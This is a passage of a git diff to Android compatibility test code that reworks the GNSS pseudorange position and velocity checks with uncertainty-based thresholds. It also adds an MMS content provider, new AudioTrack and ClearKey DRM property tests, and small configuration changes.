+ private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
+ private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
+ private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
+ private static final float HORIZONTAL_OFFSET_SIGMA = 3; // 3 * the ~68%ile level
+ private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
+
private TestGnssMeasurementListener mMeasurementListener;
private TestLocationListener mLocationListener;
@@ -224,92 +230,173 @@
}
}
- /*
- * Use pseudorange calculation library to calculate position then compare to location from
- * Location Manager.
- */
- @CddTest(requirement="7.3.3")
- public void testPseudoPosition() throws Exception {
- // Checks if Gnss hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
- // From android O, CTS tests should run in the lab with GPS signal.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
- TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
- return;
+ /*
+ * Use pseudorange calculation library to calculate position then compare to location from
+ * Location Manager.
+ */
+ @CddTest(requirement = "7.3.3")
+ public void testPseudoPosition() throws Exception {
+ // Checks if Gnss hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+ // From android O, CTS tests should run in the lab with GPS signal.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, true)) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG,
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ boolean success = mLocationListener.await();
+
+ List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+ assertTrue("Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success && receivedLocationList.size() > 0);
+ Location locationFromApi = receivedLocationList.get(0);
+
+ // Since we are checking the eventCount later, there is no need to check the return value
+ // here.
+ mMeasurementListener.await();
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of Gps Event received = " + eventCount);
+ int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
+ if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
+ return;
+ }
+
+ Log.i(TAG, "This is a device from 2016 or later.");
+ assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+ eventCount > 0);
+
+ PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+ = new PseudorangePositionVelocityFromRealTimeEvents();
+ mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+ (int) (locationFromApi.getLatitude() * 1E7),
+ (int) (locationFromApi.getLongitude() * 1E7),
+ (int) (locationFromApi.getAltitude() * 1E7));
+
+ Log.i(TAG, "Location from Location Manager"
+ + ", Latitude:" + locationFromApi.getLatitude()
+ + ", Longitude:" + locationFromApi.getLongitude()
+ + ", Altitude:" + locationFromApi.getAltitude());
+
+ // Ensure at least some calculated locations have a reasonably low uncertainty
+ boolean someLocationsHaveLowPosUnc = false;
+ boolean someLocationsHaveLowVelUnc = false;
+
+ int totalCalculatedLocationCnt = 0;
+ for (GnssMeasurementsEvent event : events) {
+ // In mMeasurementListener.getEvents() we already filtered out events, at this point
+ // every event will have at least 4 satellites in one constellation.
+ mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
+ event);
+ double[] calculatedLatLngAlt =
+ mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+ // it will return NaN when there is no enough measurements to calculate the position
+ if (Double.isNaN(calculatedLatLngAlt[0])) {
+ continue;
+ } else {
+ totalCalculatedLocationCnt++;
+ Log.i(TAG, "Calculated Location"
+ + ", Latitude:" + calculatedLatLngAlt[0]
+ + ", Longitude:" + calculatedLatLngAlt[1]
+ + ", Altitude:" + calculatedLatLngAlt[2]);
+
+ double[] posVelUncertainties =
+ mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
+
+ double horizontalPositionUncertaintyMeters =
+ Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
+ + posVelUncertainties[1] * posVelUncertainties[1]);
+
+ // Tolerate large offsets, when the device reports a large uncertainty - while also
+ // ensuring (here) that some locations are produced before the test ends
+ // with a reasonably low set of error estimates
+ if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
+ someLocationsHaveLowPosUnc = true;
+ }
+
+ // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
+ // 68%ile offset (given likely correlated errors) - then this is scaled by
+ // initially 3 sigma to give a high enough tolerance to make the test tolerant
+ // enough of noise to pass reliably. Floor adds additional robustness in case of
+ // small errors and small error estimates.
+ double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
+ + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
+ + HORIZONTAL_OFFSET_FLOOR_METERS;
+
+ Location calculatedLocation = new Location("gps");
+ calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
+ calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
+ calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
+
+ double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
+
+ Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
+ + ", Threshold: " + horizontalOffsetThresholdMeters);
+ assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
+ + "those reported from Location Manager. Offset = "
+ + horizontalOffset + " meters. Threshold = "
+ + horizontalOffsetThresholdMeters + " meters ",
+ horizontalOffset < horizontalOffsetThresholdMeters);
+
+ //TODO: Check for the altitude offset
+
+ // This 2D velocity uncertainty is conservatively larger than speed uncertainty
+ // as it also contains the effect of bearing uncertainty at a constant speed
+ double horizontalVelocityUncertaintyMps =
+ Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
+ + posVelUncertainties[5] * posVelUncertainties[5]);
+ if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
+ someLocationsHaveLowVelUnc = true;
+ }
+
+ // Assume 1m/s uncertainty from API, for this test, if not provided
+ float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
+ ? locationFromApi.getSpeedAccuracyMetersPerSecond()
+ : HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ // Similar 3-standard deviation plus floor threshold as
+ // horizontalOffsetThresholdMeters above
+ double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
+ + speedUncFromApiMps * speedUncFromApiMps)
+ + HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ double[] calculatedVelocityEnuMps =
+ mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
+ double calculatedHorizontalSpeedMps =
+ Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
+ + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
+
+ Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
+ + ", Reported Speed: " + locationFromApi.getSpeed()
+ + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
+ assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
+ + " pseudoranges should be close to the speed ("
+ + locationFromApi.getSpeed() + " m/s) reported from"
+ + " Location Manager.",
+ Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
+ < horizontalSpeedOffsetThresholdMps);
+ }
+ }
+
+ assertTrue("Calculated Location Count should be greater than 0.",
+ totalCalculatedLocationCnt > 0);
+ assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
+ + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
+ someLocationsHaveLowPosUnc);
+ assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
+ + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
+ someLocationsHaveLowVelUnc);
}
-
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
-
- mMeasurementListener = new TestGnssMeasurementListener(TAG,
- MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
- mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
-
- boolean success = mLocationListener.await();
-
- List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
- assertTrue("Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success && receivedLocationList.size() > 0);
- Location locationFromApi = receivedLocationList.get(0);
-
- // Since we are checking the eventCount later, there is no need to check the return value here.
- mMeasurementListener.await();
-
- List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
- int eventCount = events.size();
- Log.i(TAG, "Number of Gps Event received = " + eventCount);
- int gnssYearOfHardware = mTestLocationManager.getLocationManager().getGnssYearOfHardware();
- if (eventCount == 0 && gnssYearOfHardware < MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED) {
- return;
- }
-
- Log.i(TAG, "This is a device from 2016 or later.");
- assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
- eventCount > 0);
-
- PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
- = new PseudorangePositionVelocityFromRealTimeEvents();
- mPseudorangePositionFromRealTimeEvents.setReferencePosition(
- (int) (locationFromApi.getLatitude() * 1E7),
- (int) (locationFromApi.getLongitude() * 1E7),
- (int) (locationFromApi.getAltitude() * 1E7));
-
- Log.i(TAG, "Location from Location Manager"
- + ", Latitude:" + locationFromApi.getLatitude()
- + ", Longitude:" + locationFromApi.getLongitude()
- + ", Altitude:" + locationFromApi.getAltitude());
-
-
- int totalCalculatedLocationCnt = 0;
- for(GnssMeasurementsEvent event : events){
- // In mMeasurementListener.getEvents() we already filtered out events, at this point every
- // event will have at least 4 satellites in one constellation.
- mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(event);
- double[] calculatedLocation =
- mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
- // it will return NaN when there is no enough measurements to calculate the position
- if (Double.isNaN(calculatedLocation[0])) {
- continue;
- }
- else {
- totalCalculatedLocationCnt ++;
- Log.i(TAG, "Calculated Location"
- + ", Latitude:" + calculatedLocation[0]
- + ", Longitude:" + calculatedLocation[1]
- + ", Altitude:" + calculatedLocation[2]);
-
- assertTrue("Latitude should be close to " + locationFromApi.getLatitude(),
- Math.abs(calculatedLocation[0] - locationFromApi.getLatitude())
- < POSITION_THRESHOLD_IN_DEGREES);
- assertTrue("Longitude should be close to" + locationFromApi.getLongitude(),
- Math.abs(calculatedLocation[1] - locationFromApi.getLongitude())
- < POSITION_THRESHOLD_IN_DEGREES);
- //TODO: Check for the altitude and position uncertainty.
- }
- }
- assertTrue("Calculated Location Count should be greater than 0.",
- totalCalculatedLocationCnt > 0);
- }
}
diff --git a/tests/tests/location/src/android/location/cts/MmsPduProvider.java b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
new file mode 100644
index 0000000..76d859e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.text.TextUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * A simple provider to send MMS PDU to platform MMS service
+ */
+public class MmsPduProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ // Not supported
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ // Not supported
+ return 0;
+ }
+
+ @Override
+ public ParcelFileDescriptor openFile(Uri uri, String fileMode) throws FileNotFoundException {
+ File file = new File(getContext().getCacheDir(), uri.getPath());
+ int mode = (TextUtils.equals(fileMode, "r") ? ParcelFileDescriptor.MODE_READ_ONLY :
+ ParcelFileDescriptor.MODE_WRITE_ONLY
+ |ParcelFileDescriptor.MODE_TRUNCATE
+ |ParcelFileDescriptor.MODE_CREATE);
+ return ParcelFileDescriptor.open(file, mode);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
index 390d450..370999b 100644
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ b/tests/tests/location/src/android/location/cts/TestLocationManager.java
@@ -105,11 +105,11 @@
*
* @param locationListener location listener for request
*/
- public void requestLocationUpdates(LocationListener locationListener) {
+ public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
Log.i(TAG, "Request Location updates.");
mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
- 0 /* minTime*/,
+ minTimeMsec,
0 /* minDistance */,
locationListener,
Looper.getMainLooper());
@@ -117,6 +117,15 @@
}
/**
+ * See {@code LocationManager#requestLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestLocationUpdates(LocationListener locationListener) {
+ requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
+ }
+
+ /**
* See {@code LocationManager#requestNetworkLocationUpdates}.
*
* @param locationListener location listener for request
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 482cd6a..44af14d 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,7 @@
<uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
<uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index d370d38..03d4770 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,6 +26,8 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.cts" />
+ <!-- setup can be expensive so limit the number of shards -->
+ <option name="ajur-max-shard" value="5" />
<!-- test-timeout unit is ms, value = 30 min -->
<option name="test-timeout" value="1800000" />
<option name="runtime-hint" value="4h" />
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index cff5c18..d1e63ec 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -64,6 +64,8 @@
0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
};
+// The test content is not packaged with clearkey UUID,
+// we have to use a canned clearkey pssh for the test.
static const uint8_t kClearkeyPssh[] = {
// BMFF box header (4 bytes size + 'pssh')
0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
diff --git a/tests/tests/media/res/raw/testmp3_4.mp3 b/tests/tests/media/res/raw/testmp3_4.mp3
new file mode 100755
index 0000000..2098ebd
--- /dev/null
+++ b/tests/tests/media/res/raw/testmp3_4.mp3
Binary files differ
diff --git a/tests/tests/media/res/values/strings.xml b/tests/tests/media/res/values/strings.xml
index b01b8ec..018ab70 100644
--- a/tests/tests/media/res/values/strings.xml
+++ b/tests/tests/media/res/values/strings.xml
@@ -16,4 +16,5 @@
<resources>
<string name="test_user_route_name">User route\'s name for test</string>
<string name="test_route_category_name">Route category\'s name for test</string>
+ <string name="test_localizable_title">Translatable Ringtone Title</string>
</resources>
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 9236959..73252db 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -138,6 +138,29 @@
mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
}
+ public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
+ try {
+ // set zen mode to priority only, so playSoundEffect will check notification policy
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ true);
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
+
+ // take away write-notification policy access from the package
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ false);
+
+ // playSoundEffect should NOT throw a security exception; all apps have read-access
+ mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ true);
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ false);
+ }
+ }
+
public void testMusicActive() throws Exception {
if (mAudioManager.isMusicActive()) {
return;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index e5f9385..f3c17cf 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -145,11 +145,11 @@
final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
try {
- Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
- Integer pid = (Integer) getClientPidMethod.invoke(config, null);
+ Integer pid = (Integer) getClientPidMethod.invoke(config, (Object[]) null);
assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
- Integer type = (Integer) getPlayerTypeMethod.invoke(config, null);
+ Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
} catch (Exception e) {
fail("Exception thrown during reflection on config privileged fields"+ e);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 068087d..eb7296f 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -319,9 +319,9 @@
try {
final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
- Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
- String name = (String) getClientPackageName.invoke(config, null);
+ String name = (String) getClientPackageName.invoke(config, (Object[]) null);
assertNotNull("client package name is null", name);
assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
} catch (Exception e) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 3d853d4..66999a3 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2358,6 +2358,33 @@
assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
}
+ // Test AudioTrack to see if there are any problems with large frame counts.
+ public void testAudioTrackLargeFrameCount() throws Exception {
+ // constants for test
+ final String TEST_NAME = "testAudioTrackLargeFrameCount";
+ final int[] BUFFER_SIZES = { 4294968, 42949680, 429496800, Integer.MAX_VALUE };
+ final int[] MODES = { AudioTrack.MODE_STATIC, AudioTrack.MODE_STREAM };
+
+ for (int mode : MODES) {
+ for (int bufferSizeInBytes : BUFFER_SIZES) {
+ try {
+ final AudioTrack track = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+ .setSampleRate(44100)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+ .build())
+ .setTransferMode(mode)
+ .setBufferSizeInBytes(bufferSizeInBytes) // 1 byte == 1 frame
+ .build();
+ track.release(); // OK to successfully complete
+ } catch (UnsupportedOperationException e) {
+ ; // OK to throw unsupported exception
+ }
+ }
+ }
+ }
+
/* Do not run in JB-MR1. will be re-opened in the next platform release.
public void testResourceLeakage() throws Exception {
final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index d43dce1..2b7dccb 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -41,6 +41,7 @@
import java.nio.ByteBuffer;
import java.nio.CharBuffer;
import java.nio.charset.Charset;
+import java.util.Arrays;
import java.util.ArrayList;
import java.util.concurrent.TimeUnit;
import java.util.HashMap;
@@ -79,6 +80,18 @@
private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
private static final String MIME_VIDEO_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
+ // Property Keys
+ private static final String ALGORITHMS_PROPERTY_KEY = MediaDrm.PROPERTY_ALGORITHMS;
+ private static final String DESCRIPTION_PROPERTY_KEY = MediaDrm.PROPERTY_DESCRIPTION;
+ private static final String DEVICEID_PROPERTY_KEY = "deviceId";
+ private static final String INVALID_PROPERTY_KEY = "invalid property key";
+ private static final String LISTENER_TEST_SUPPORT_PROPERTY_KEY = "listenerTestSupport";
+ private static final String VENDOR_PROPERTY_KEY = MediaDrm.PROPERTY_VENDOR;
+ private static final String VERSION_PROPERTY_KEY = MediaDrm.PROPERTY_VERSION;
+
+ // Error message
+ private static final String ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED = "Crypto scheme is not supported";
+
private static final Uri CENC_AUDIO_URL = Uri.parse(
"https://storage.googleapis.com/wvmedia/clear/h264/llama/llama_aac_audio.mp4");
private static final Uri CENC_VIDEO_URL = Uri.parse(
@@ -100,7 +113,7 @@
private Looper mLooper;
private MediaCodecClearKeyPlayer mMediaCodecPlayer;
private MediaDrm mDrm;
- private Object mLock = new Object();
+ private final Object mLock = new Object();
private SurfaceHolder mSurfaceHolder;
@Override
@@ -348,7 +361,7 @@
drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
if (!drm.isCryptoSchemeSupported(drmSchemeUuid)) {
stopDrm(drm);
- throw new Error("Crypto scheme is not supported.");
+ throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
}
mSessionId = openSession(drm);
}
@@ -435,7 +448,7 @@
MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc", COMMON_PSSH_SCHEME_UUID);
if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
stopDrm(drm);
- throw new Error("Crypto scheme is not supported.");
+ throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
}
mSessionId = openSession(drm);
@@ -524,4 +537,172 @@
MPEG2TS_CLEAR_URL, false,
VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
}
+
+ private String getStringProperty(final MediaDrm drm, final String key) {
+ String value = "";
+ try {
+ value = drm.getPropertyString(key);
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key
+ Log.d(TAG, "Expected result: " + e.getMessage());
+ } catch (Exception e) {
+ throw new Error(e.getMessage() + "-" + key);
+ }
+ return value;
+ }
+
+ private byte[] getByteArrayProperty(final MediaDrm drm, final String key) {
+ byte[] bytes = new byte[0];
+ try {
+ bytes = drm.getPropertyByteArray(key);
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key
+ Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+ } catch (Exception e) {
+ throw new Error(e.getMessage() + "-" + key);
+ }
+ return bytes;
+ }
+
+ private void setStringProperty(final MediaDrm drm, final String key, final String value) {
+ try {
+ drm.setPropertyString(key, value);
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key
+ Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+ } catch (Exception e) {
+ throw new Error(e.getMessage() + "-" + key);
+ }
+ }
+
+ private void setByteArrayProperty(final MediaDrm drm, final String key, final byte[] bytes) {
+ try {
+ drm.setPropertyByteArray(key, bytes);
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key
+ Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+ } catch (Exception e) {
+ throw new Error(e.getMessage() + "-" + key);
+ }
+ }
+
+ public void testGetProperties() throws Exception {
+ MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
+ "cenc", COMMON_PSSH_SCHEME_UUID);
+
+ try {
+ // The following tests will not verify the value we are getting
+ // back since it could change in the future.
+ final String[] sKeys = {
+ DESCRIPTION_PROPERTY_KEY, LISTENER_TEST_SUPPORT_PROPERTY_KEY,
+ VENDOR_PROPERTY_KEY, VERSION_PROPERTY_KEY};
+ String value;
+ for (String key : sKeys) {
+ value = getStringProperty(drm, key);
+ Log.d(TAG, "getPropertyString returns: " + key + ", " + value);
+ if (value.isEmpty()) {
+ throw new Error("Failed to get property for: " + key);
+ }
+ }
+
+ byte[] bytes = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+ if (0 == bytes.length) {
+ throw new Error("Failed to get property for: " + DEVICEID_PROPERTY_KEY);
+ }
+
+ // Test with an invalid property key.
+ value = getStringProperty(drm, INVALID_PROPERTY_KEY);
+ bytes = getByteArrayProperty(drm, INVALID_PROPERTY_KEY);
+ if (!value.isEmpty() || 0 != bytes.length) {
+ throw new Error("get property failed using an invalid property key");
+ }
+ } finally {
+ stopDrm(drm);
+ }
+ }
+
+ public void testSetProperties() throws Exception {
+ MediaDrm drm = startDrm(new byte[][]{CLEAR_KEY_CENC},
+ "cenc", COMMON_PSSH_SCHEME_UUID);
+
+ try {
+ // Test setting predefined string property
+ // - Save the value to be restored later
+ // - Set the property value
+ // - Check the value that was set
+ // - Restore previous value
+ String listenerTestSupport = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+
+ setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
+
+ String value = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+ if (!value.equals("testing")) {
+ throw new Error("Failed to set property: " + LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+ }
+
+ setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, listenerTestSupport);
+
+ // Test setting new string property
+ setStringProperty(drm, "NewStringPropertyKeyTest", "test value");
+
+ value = getStringProperty(drm, "NewStringPropertyKeyTest");
+ if (!value.equals("test value")) {
+ throw new Error("Failed to set property: NewStringPropertyKeyTest");
+ }
+
+ // Test setting immutable properties
+ HashMap<String, String> defaultImmutableProperties = new HashMap<String, String>();
+ defaultImmutableProperties.put(ALGORITHMS_PROPERTY_KEY,
+ getStringProperty(drm, ALGORITHMS_PROPERTY_KEY));
+ defaultImmutableProperties.put(DESCRIPTION_PROPERTY_KEY,
+ getStringProperty(drm, DESCRIPTION_PROPERTY_KEY));
+ defaultImmutableProperties.put(VENDOR_PROPERTY_KEY,
+ getStringProperty(drm, VENDOR_PROPERTY_KEY));
+ defaultImmutableProperties.put(VERSION_PROPERTY_KEY,
+ getStringProperty(drm, VERSION_PROPERTY_KEY));
+
+ HashMap<String, String> immutableProperties = new HashMap<String, String>();
+ immutableProperties.put(ALGORITHMS_PROPERTY_KEY, "brute force");
+ immutableProperties.put(DESCRIPTION_PROPERTY_KEY, "testing only");
